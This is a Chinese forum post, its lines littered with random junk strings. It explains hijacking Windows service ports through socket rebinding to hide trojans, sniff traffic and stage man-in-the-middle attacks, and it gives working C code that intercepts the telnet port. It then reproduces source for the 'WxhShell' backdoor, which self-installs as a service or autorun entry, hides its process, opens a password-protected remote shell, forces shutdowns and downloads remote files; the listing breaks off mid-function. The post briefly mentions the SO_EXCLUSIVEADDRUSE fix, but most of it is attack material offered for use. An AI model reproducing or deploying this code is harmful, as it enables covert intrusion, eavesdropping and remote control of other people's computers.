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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V RT| OUq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0(64}T)  
QV"  |  
  saddr.sin_family = AF_INET; p6sXftk  
k3u3X~u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); SkS vu}  
Id9hC<8$dq  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); teET nz_L  
A?Uyj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7=}`"7i~  
Y68oBUd_E  
  这意味着什么?意味着可以进行如下的攻击: sv =6?uYW  
[ibnI2I]`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q xKC5`1  
-cOLg rmp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A5z5e# ,u  
N U\B  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3Ju<jXoo!  
Z}WMpp^r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Ia[e 7  
+1_NB;,e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 "*<9)vQ6|  
s<aJ pi{n4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 LKTIwb>  
ss.wX~I  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 XB^o>/|@S  
IL&Mf9m  
  #include *ewE{$UpK  
  #include yX/ 9jk  
  #include jsjH.O  
  #include    L_Ff*   
  DWORD WINAPI ClientThread(LPVOID lpParam);   bF<FX_}!s!  
  int main() 8|HuxE  
  { r. :LZEr  
  WORD wVersionRequested; +%oXPG?  
  DWORD ret; AYfW}V"  
  WSADATA wsaData; 7<=xc'*8t  
  BOOL val; j$,:cN  
  SOCKADDR_IN saddr; Qv|A^%Ub!  
  SOCKADDR_IN scaddr; 7$Jb"s  
  int err; R8sj>.I9j  
  SOCKET s; 0M>+.}e+  
  SOCKET sc; 4uwI=UUB  
  int caddsize; DFcgUEq  
  HANDLE mt; bU7n1pzW,o  
  DWORD tid;   ol [   
  wVersionRequested = MAKEWORD( 2, 2 ); H)ud?vB6  
  err = WSAStartup( wVersionRequested, &wsaData ); xhWWl(r`5  
  if ( err != 0 ) { u%}zLwMH  
  printf("error!WSAStartup failed!\n"); :H@ Q`g u  
  return -1; lmf vT}$B  
  } GU([A@;  
  saddr.sin_family = AF_INET; z;J"3kM  
   }CIH1q3P  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 JUHmIFjZ  
9rf6,hF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'H0uvvhOp  
  saddr.sin_port = htons(23); il|e5TD^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $qV, z  
  { V9mqJRFJ:  
  printf("error!socket failed!\n"); (p>?0h9[  
  return -1; TgoaEufS<  
  } ,( u- x!  
  val = TRUE; qs 6r9?KP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Yw7txp`i  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Nawph  
  { b bCH(fYbu  
  printf("error!setsockopt failed!\n"); 6j/g/!9c!  
  return -1; xf% _HMKc  
  } JZ3CCf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?0*,x)t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 m<}>'D T  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6#hDj_(,  
i&=I5$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <Nwqt[.  
  { JFewOt3  
  ret=GetLastError(); (E[c-1s  
  printf("error!bind failed!\n"); ]Dec/Nnj  
  return -1; 6?i]oy^X]p  
  } <n? cRk'.  
  listen(s,2); '{*{  
  while(1) \MI2^J N  
  { _Wg?H:\  
  caddsize = sizeof(scaddr); 'guXdX]Gu  
  //接受连接请求 Td(eNe_4T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X$BN &DD  
  if(sc!=INVALID_SOCKET) fqpbsM;M]  
  { Pu>jECcz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >>bsr#aJ  
  if(mt==NULL) +-2o b90_m  
  { : 8h\x  
  printf("Thread Creat Failed!\n"); B8.a#@R  
  break; H{ M7_1T  
  } G5A:C(r  
  } EdcbWf7  
  CloseHandle(mt); QiKci%=SX  
  } J'}G~rB<<  
  closesocket(s); ~?#>QN\\c  
  WSACleanup(); F \0>/  
  return 0; C-)mP- |8  
  }   2~`vV'K  
  DWORD WINAPI ClientThread(LPVOID lpParam) w.X MyHj  
  { xbqFek$/r  
  SOCKET ss = (SOCKET)lpParam; J,(@1R]KF:  
  SOCKET sc; *yl?M<28  
  unsigned char buf[4096]; #z6[ 8B  
  SOCKADDR_IN saddr; G`D rY;  
  long num; x%_VzqR`  
  DWORD val; ahICx{hK  
  DWORD ret; L!;"73,&(8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u:]c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   C GN=kQ  
  saddr.sin_family = AF_INET; $;iMo/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); c!0u,6  
  saddr.sin_port = htons(23); Ms=5*_J2Jk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _ ck)yY?7  
  { (fA>@5n  
  printf("error!socket failed!\n"); /aTW X  
  return -1; {{6D4M|s  
  } Kd r7 V  
  val = 100; ;O`ZVB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) atiyQuT6Wh  
  { h*>%ou   
  ret = GetLastError(); /O[<"Wcz  
  return -1; \+M6R<Qw  
  } o|kiwr}Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {'8td^JEE  
  { o%yfR.M6$  
  ret = GetLastError(); !),eEy  
  return -1;  Zh  
  } t]IHQ8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y`,;m#frT  
  { jFDVd;#CS  
  printf("error!socket connect failed!\n"); D~ogq]  
  closesocket(sc); mO=A50_&,Q  
  closesocket(ss); O*7vmPy  
  return -1; m>{a<N  
  } -=cxUDB  
  while(1) TUBpRABH  
  { {=%,NwPs  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aP$it 6Z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n nOgmI7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8TBv~Q u  
  num = recv(ss,buf,4096,0); FMOO  
  if(num>0) Rtu"#XcBw+  
  send(sc,buf,num,0); _`I}"`2H  
  else if(num==0) >^6|^rc  
  break; ;9CbioO  
  num = recv(sc,buf,4096,0); ^GpLl   
  if(num>0) <78*-Ob  
  send(ss,buf,num,0); f\;w(_  
  else if(num==0) B[ .$<$}G  
  break; skm~~JM^  
  } 38 ] }+Bb  
  closesocket(ss); ;Rlf[](iL  
  closesocket(sc); Z;O!KsJ  
  return 0 ; t[r 6jo7  
  } Sa[?B  
=X1oB ,W{  
!,+<?o y  
========================================================== `w&?SXFO8  
)1 f%kp#]  
下边附上一个代码,,WXhSHELL ]]o?!NX  
Kf-XL ),3l  
========================================================== o|$r;<o3R  
RNF%i~nhO  
#include "stdafx.h" &S=Qu?H  
(%c&Km7K  
#include <stdio.h> Gf +>Aj U'  
#include <string.h> 4bCA"QM[[  
#include <windows.h> 4_D *xW  
#include <winsock2.h> ) &DsRA7v  
#include <winsvc.h> {,!!jeOO  
#include <urlmon.h> - {}(U  
]=o1to-  
#pragma comment (lib, "Ws2_32.lib") * >/w,E]  
#pragma comment (lib, "urlmon.lib") Lv?jg ?$  
Y qmsL<  
#define MAX_USER   100 // 最大客户端连接数 We++DWp  
#define BUF_SOCK   200 // sock buffer 1N_T/I8_F  
#define KEY_BUFF   255 // 输入 buffer O{7rIy  
H&8~"h6n  
#define REBOOT     0   // 重启 s#'Vasu  
#define SHUTDOWN   1   // 关机 8BrC@L2E0  
GEv x<:  
#define DEF_PORT   5000 // 监听端口 1s~rWnhVv  
u/<ZGW(&s(  
#define REG_LEN     16   // 注册表键长度 !</U"P:L  
#define SVC_LEN     80   // NT服务名长度 kbL7Xjk  
b<!' WpY-  
// 从dll定义API /6rQ.+|).  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h<V,0sZ&:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o|u4C{j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G1-r$7\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^*YoNd_kpN  
,PoG=W  
// wxhshell配置信息 u -)ED  
struct WSCFG { fW Pa1E@  
  int ws_port;         // 监听端口 *s#6e}  
  char ws_passstr[REG_LEN]; // 口令 mzCd@<T,  
  int ws_autoins;       // 安装标记, 1=yes 0=no s2( 7z9jR  
  char ws_regname[REG_LEN]; // 注册表键名 ALn_ifNh  
  char ws_svcname[REG_LEN]; // 服务名 !rs }83w!  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]cv/dY#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {Q[ G/=mx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :f:&B8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M,W-,l ]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xQ';$&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ml9m#c  
kL8 E#  
}; P l!E$   
ju5o).!bg  
// default Wxhshell configuration EXF]y}n  
struct WSCFG wscfg={DEF_PORT, E7i/gY  
    "xuhuanlingzhe", rg ; 4INs#  
    1, 8bQXC+bK  
    "Wxhshell", E=8GSl/Jx  
    "Wxhshell", w2!:>8o:  
            "WxhShell Service", [MQ* =*  
    "Wrsky Windows CmdShell Service", kOdA8X RY  
    "Please Input Your Password: ", "uP*pR^  
  1, -[J4nN&N  
  "http://www.wrsky.com/wxhshell.exe", >Tjl?CS  
  "Wxhshell.exe" mZXtHFMu  
    }; </Y(4Xwf=  
urE7ZKdI  
// 消息定义模块 H5#]MOAP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t*; KxQ+'?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; am !ssF5s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2D:,(  
char *msg_ws_ext="\n\rExit."; daP_Kz/2K  
char *msg_ws_end="\n\rQuit."; 7x77s  
char *msg_ws_boot="\n\rReboot..."; FaWDAL=Vhk  
char *msg_ws_poff="\n\rShutdown..."; 4s~X  
char *msg_ws_down="\n\rSave to "; dl3;A_ 2  
+*xc4  
char *msg_ws_err="\n\rErr!";  *  ]  
char *msg_ws_ok="\n\rOK!";  j'Jb+@W?  
ZXL'R |?  
char ExeFile[MAX_PATH]; 4DDBf j  
int nUser = 0; E|>-7k")  
HANDLE handles[MAX_USER];   NV-l9  
int OsIsNt; WO{7/h</  
/}2Y-GOU  
SERVICE_STATUS       serviceStatus; F+*fim'NK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t9MCT$U  
pEz^z9  
// 函数声明 WtKKdL  
int Install(void); w N`Nj m9!  
int Uninstall(void); FfxD=\  
int DownloadFile(char *sURL, SOCKET wsh); r~JGs?GH  
int Boot(int flag); )t3`O$J  
void HideProc(void); C-)d@LWI  
int GetOsVer(void); %~k>$(u6  
int Wxhshell(SOCKET wsl); tl{{Vc[  
void TalkWithClient(void *cs); 1=5HQ~|[TO  
int CmdShell(SOCKET sock); Z9NND  
int StartFromService(void); 3bXfR,U  
int StartWxhshell(LPSTR lpCmdLine); ?9O#b1f N  
%WKBd \O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); livKiX`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (J.Z+s$:2  
fzw:[z:%  
// 数据结构和表定义 X`EVjK  
SERVICE_TABLE_ENTRY DispatchTable[] = bM5V=b_H  
{ nS h~ mP  
{wscfg.ws_svcname, NTServiceMain}, J_7@d]0R  
{NULL, NULL} [&4+ <Nl'  
}; [0105l5  
]P#W\LZp  
// 自我安装 :!Dm,PP%  
int Install(void) :*h1ik4t  
{ AX%}ip[PC  
  char svExeFile[MAX_PATH]; ,52Lm=n  
  HKEY key; T n/Zs|  
  strcpy(svExeFile,ExeFile); RM,aG}6M)M  
tFc<f7k  
// 如果是win9x系统,修改注册表设为自启动 , `Z4fz:  
if(!OsIsNt) { gE$Uv*Gj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aNY-F)XWa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ykJ+LS{+  
  RegCloseKey(key); JFO,Q -y\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #]5KWXC'~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jIr\.i  
  RegCloseKey(key); Q0Do B  
  return 0; 3) d }3w {  
    } N?-ZvE\C  
  } n{<}<SVY  
} 5,oLl {S'  
else { A?lR[`'u\  
7FPSBvU#/  
// 如果是NT以上系统,安装为系统服务 4)OOj14-V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *P9"1K +  
if (schSCManager!=0) ,wM}h  
{ Vt3*~Beb  
  SC_HANDLE schService = CreateService ?wlRHVZ  
  ( yQ[;.<%v  
  schSCManager, (y6q}#<  
  wscfg.ws_svcname, 62,dFM7  
  wscfg.ws_svcdisp, *xpn-hCp<  
  SERVICE_ALL_ACCESS, P*?|E@;s`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WA1d8nl  
  SERVICE_AUTO_START, =No#/_  
  SERVICE_ERROR_NORMAL, ~GX ]K H  
  svExeFile, Z2yO /$<  
  NULL, Cw(ypu  
  NULL, p`A2^FS)  
  NULL, QD{1?aY  
  NULL, VpY D/Oj4;  
  NULL H[nBNz)C  
  ); z9OpMA  
  if (schService!=0) w' J`$=  
  { !ry+{v+A  
  CloseServiceHandle(schService); p&V64L:V  
  CloseServiceHandle(schSCManager); s@"|o3BX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \b $pH  
  strcat(svExeFile,wscfg.ws_svcname); Ssz;d&93  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "P@ SR`v#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); YaSBIq{z  
  RegCloseKey(key); bo90;7EK8  
  return 0; #_S]\=N(  
    } 2[3t7C  
  } >itabG-&  
  CloseServiceHandle(schSCManager); ps:`rVQ7  
} 13Z,;YW  
} _*?qOmf=  
O9d"Z$~n=j  
return 1; <`=Kt[_BQ  
} P2f^]z  
UCmy$aW  
// 自我卸载 pO7OP"q1  
int Uninstall(void) v X6JjE!  
{ &PL=nI\)  
  HKEY key; LFxk.-{=  
+%,oq ]<[,  
if(!OsIsNt) { F1_,V?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XC~"T6F  
  RegDeleteValue(key,wscfg.ws_regname); gl`J(  
  RegCloseKey(key); o$;&q *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kiN,N]-V  
  RegDeleteValue(key,wscfg.ws_regname); Spx%`O<  
  RegCloseKey(key); r9N?z2X  
  return 0; v!ai_d^  
  } fU ;H  
} % JiF269  
} CP; <B1  
else { WHv6E!^\_  
X[tB^`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #[x*0K-h  
if (schSCManager!=0) 0{ B<A^Bf  
{ G8__6v~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SE'|||B  
  if (schService!=0) DMsqTB`  
  { !e<2o2~.  
  if(DeleteService(schService)!=0) { z8"1*V  
  CloseServiceHandle(schService); _<mY|  
  CloseServiceHandle(schSCManager); ?t6wozib2  
  return 0; {*hvzS{1d  
  } e~(e&4pb  
  CloseServiceHandle(schService); !idVF!xG  
  } p.8  
  CloseServiceHandle(schSCManager); RV{%@1Pu  
} c-(dm:  
} O/Hj-u6&A  
Ad-5Zn c5  
return 1; ulW>8bW&  
} .-T P 1C  
|:#Ug  
// 从指定url下载文件 GXD<X_[  
int DownloadFile(char *sURL, SOCKET wsh) sUc[!S:/  
{ zb4@U=?w}  
  HRESULT hr; =8`KGeP$  
char seps[]= "/"; |XG&[TI- "  
char *token; -V~Fj~b#  
char *file; pL[3,.@WA  
char myURL[MAX_PATH]; $G)HU6hF*  
char myFILE[MAX_PATH]; *My9r.F5o  
CP2wg .  
strcpy(myURL,sURL); r_Ou\|jU  
  token=strtok(myURL,seps); 4OJD_  
  while(token!=NULL) J!~kqNI  
  { `^^t#sT   
    file=token; }ff^^7_  
  token=strtok(NULL,seps); >jmHe^rH  
  } J%r:"Jm[y1  
mejNa(D ^  
GetCurrentDirectory(MAX_PATH,myFILE); ~4FzA,,  
strcat(myFILE, "\\"); wL:7G  
strcat(myFILE, file); g| 3bM  
  send(wsh,myFILE,strlen(myFILE),0); {j`8XWLZZN  
send(wsh,"...",3,0); L;M@]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s1::\&`za  
  if(hr==S_OK) )i:*r8*~  
return 0; O#[bNLV  
else | Z7 j s"  
return 1; *JFkqbf  
ZQKo ]Kdr  
} JM/\n 4ea:  
&0bq3JGW  
// 系统电源模块 "HqmS  
int Boot(int flag) P* &0HbJ  
{ d*6/1vyjT  
  HANDLE hToken; uZ3do|um  
  TOKEN_PRIVILEGES tkp; z(%tu  
=ca[*0^Z7  
  if(OsIsNt) { yO@1#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m6K7D([f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2NjgLXP  
    tkp.PrivilegeCount = 1; a]5y CBm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rf]z5;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SYsO>`/ )  
if(flag==REBOOT) { WH39=)D%u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i g7|kl  
  return 0; E`qX|n  
} gSwHPm%zn  
else { d(RMD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f2o6GC_  
  return 0; Y7q Q` |  
} lo6upir ZX  
  } u]O}Ub`  
  else { GKF!GbGR@  
if(flag==REBOOT) { 8O{V#aop  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9__Q-J  
  return 0; p8-$MF]] 6  
} 3 i>NKS  
else { eE .wnn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <=6F=u3PtU  
  return 0; 1oiSmW\  
} I Ij:3HP  
} 80g}<Lwc  
o(?9vU  
return 1; 8mdVh\i!Kf  
} Ue Z(@6_:  
}dMX1e1h8  
// win9x进程隐藏模块 Ho*B<#&(A|  
void HideProc(void) -Q<OSa='  
{ h~qvd--p0  
(7! pc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); toD!RE  
  if ( hKernel != NULL ) ;3& wO~lW  
  { >}NnzZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N+ ]O#Js?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {%k[Z9*tO  
    FreeLibrary(hKernel); *5s*-^'#!  
  } Uea2WJpX  
`# !>}/m  
return; 4:O.x#p  
} 1GkoE  
' CJ_&HR  
// 获取操作系统版本 Uy|!f]"?  
int GetOsVer(void) $'d,X@}8  
{ yk4py0xVl  
  OSVERSIONINFO winfo; ac@\\2srV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >jTiYJI_M  
  GetVersionEx(&winfo); rc>}3?o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tyaqa0  
  return 1; @m%B>X28F  
  else !UP B4I  
  return 0; <liprUFsn  
} A@d 2Ukv  
bcu Uej:  
// 客户端句柄模块 jg%mWiKwK7  
int Wxhshell(SOCKET wsl) Oi~Dio_?  
{ G[>CBh5  
  SOCKET wsh; (yuOY/~k/  
  struct sockaddr_in client; |cuKC \  
  DWORD myID; 0d:t=LKw)  
=2rdbq6R  
  while(nUser<MAX_USER) @Ss W  
{ v;?W|kJ.u  
  int nSize=sizeof(client); uhaHY`w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ywt9^M|z;  
  if(wsh==INVALID_SOCKET) return 1; n|Y}M]u,  
G#NbLj`h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ? ][/hL@[  
if(handles[nUser]==0) 8 ks\-38n1  
  closesocket(wsh); !~7lY]_U  
else [GK## z'5  
  nUser++; ,d.5K*?aI  
  } Ji=`XsV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mrKIiaU<J  
${ DSH  
  return 0; k'e1ZAn  
} ]0(ZlpT  
S_??G:i  
// 关闭 socket kDRxu!/  
void CloseIt(SOCKET wsh) DW7Jk"\GH  
{ -cn`D2RP  
closesocket(wsh); B2_fCSlg  
nUser--;  '@.Lg0`  
ExitThread(0); zt|1tU:  
} bh\2&]Di/  
^aJ]|*m  
// 客户端请求句柄  =mcQe^M  
void TalkWithClient(void *cs) *YQXxIIq  
{ Y37qjV  
mdmJne.  
  SOCKET wsh=(SOCKET)cs; Sc}Rs  
  char pwd[SVC_LEN]; x|^p9m"=%  
  char cmd[KEY_BUFF]; YReI|{O$c  
char chr[1]; ?TW?2+  
int i,j; aDLlL?r3  
j2:9ahW  
  while (nUser < MAX_USER) { ?wIEXKI  
QGErQ +l  
if(wscfg.ws_passstr) { |vG?H#y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ehe#"exCB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n1R{[\ >1  
  //ZeroMemory(pwd,KEY_BUFF); S&cN+r  
      i=0; (otD4VR_  
  while(i<SVC_LEN) { T|(w-)mv  
G(F=6L~;  
  // 设置超时 G2>s#Y5(,  
  fd_set FdRead; [z;}^3b  
  struct timeval TimeOut; m*7RC4"J  
  FD_ZERO(&FdRead); C4-%|+Q i  
  FD_SET(wsh,&FdRead); 9&B #@cw  
  TimeOut.tv_sec=8; qI74a F  
  TimeOut.tv_usec=0; x @9rc,by  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fL'Ci;.;+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "18cD5-#  
RR/?"d?&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ose)\rM'  
  pwd=chr[0]; w#L`|cYCm  
  if(chr[0]==0xd || chr[0]==0xa) { L1@<7?@X  
  pwd=0; 7}&vEc@w&  
  break; _a`/{M|  
  } <{Rz1CMc  
  i++; {[{jl G4H  
    } s!F8<:FRJD  
pd.pY*B<[  
  // 如果是非法用户,关闭 socket tgeXX1Eq!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t""Y -M  
} Nh4&3"g|  
CzDg?wb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); FiXE0ZI$0q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'auYmX  
zE}ry!{  
while(1) { <]`|HJoy  
,n>K$  
  ZeroMemory(cmd,KEY_BUFF); d:z7 U  
6s! =de  
      // 自动支持客户端 telnet标准   +J42pSxzoo  
  j=0; LTb#1JC  
  while(j<KEY_BUFF) { 1u }2}c|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |F ~U  
  cmd[j]=chr[0]; "p>kiNu  
  if(chr[0]==0xa || chr[0]==0xd) { Te^_gdf  
  cmd[j]=0; Je K0><  
  break; 8ux  
  } rZ RTQ  
  j++; 7 3ABop  
    } m^tf=O<  
%~lTQCPE  
  // 下载文件 zmFKd5  
  if(strstr(cmd,"http://")) { jnFN{(VH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (~PT(B?  
  if(DownloadFile(cmd,wsh)) O;(n[k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Hb0)M@y7  
  else ZJjm r,1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vk1 c14i>  
  } `@<)#9'A  
  else { h4~VzCR4x\  
5F 8'f)  
    switch(cmd[0]) { I]91{dq  
  a3 t||@v!  
  // 帮助 9}G<\y  
  case '?': { Qb86*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ff[GR$m  
    break; +xYg<AFS  
  } ]9 9; 7  
  // 安装 --7@rxv  
  case 'i': { 'f7s*VKG  
    if(Install()) Ui"3'OU'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i)]^b{5nyB  
    else 9N<TJp,q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z =*h9,MY  
    break; J$yJ2G  
    } ?y~"\iP  
  // 卸载 k& ]I;Aq  
  case 'r': { S=`#X,Wo  
    if(Uninstall()) r!p:73L8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0(A&m ,  
    else S\2@~*{-8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dv=pX.Z+  
    break; XpT~]q}  
    } _=I&zUF  
  // 显示 wxhshell 所在路径 ]L\]Ll;  
  case 'p': { gI+dyoh  
    char svExeFile[MAX_PATH]; !qs3fe<uh"  
    strcpy(svExeFile,"\n\r"); 1#vi]CX  
      strcat(svExeFile,ExeFile); Xh*Nu HH  
        send(wsh,svExeFile,strlen(svExeFile),0); [XNDYaF8  
    break; t"&qaG{  
    } _xo;[rEw8  
  // 重启 p,mKgL63  
  case 'b': { L5]uT`Twa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); % hRH80W|  
    if(Boot(REBOOT)) `k9a$@Xg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )6U^!95  
    else { Xc G   
    closesocket(wsh); R)]+>M-.  
    ExitThread(0); eqU y>  
    } 7<93n`byM  
    break; o-<.8Z}>at  
    } :CXm@yF~4=  
  // 关机 f(c#1AJE53  
  case 'd': { mqQC`Aqx:  
